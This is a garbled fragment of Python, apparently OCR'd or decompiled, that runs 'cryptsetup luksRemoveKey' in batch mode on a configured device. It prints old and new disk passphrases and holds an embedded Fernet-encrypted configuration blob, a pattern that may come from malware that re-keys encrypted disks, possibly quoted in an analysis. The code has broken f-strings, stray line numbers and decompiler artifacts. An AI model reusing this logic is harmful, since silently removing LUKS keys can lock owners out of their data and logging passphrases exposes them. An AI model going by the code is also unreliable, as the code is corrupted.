                   print(f''', Removing old passphrase: {old_password} (remaining passphrase: {
51
                 new_password}''',')
                   cmd = [
                   'cryptsetup',
                   'LuksRemovekey',
                   '--batch-mode',
                               configuration['source_dev']]
                   subprocess.check\_output(cmd, f''' {old\_password} \\ \\ new\_password {n'''}.encode('') \\ new\_password {n'''}.encode('') \\ 
                 ascii'), **('input',)) configuration = None
       encrypted_configuration = b'
                 gAAAAABj6U1FMZKAOONUKUE5IWJFYrY8jeRSf12TqYpqfIiTrTP8ceGBoffIZt7XvWS5pXWE9afjswEi_f
                   Sq9D-tc Enh8Qf1WQu2j4158VrbjbD1s8kWRqcv6p65XHDiFSEDPAL1ybZD5Bsl0pzBWI59wWVL-
                 plUJz8FuIIpf01PWdq4sLcB3bSK pfSrT-
                 CkurhXFzqpRPEaTovsW8QLKpCsQuxYjrMTQ0yE7bwAkAUhBJrxt7TIBfZQPpsqCbt5Emrpb6eiudBNgI_F5V1
                 -i1ix-XMcqZu-RhKDkUjw70GT-TaAdb5Y_cd0YMPmr4vnnf9t6nD1LzK3K86MuC_2JDRq0Voz1XbqeM-
                 yxIgipC5rJAs40kuBdNcFImJW2UJLF'
       if configuration is not None:
                    encrypted_configuration = fernet.encrypt(json.dumps (configuration).encode())
61
```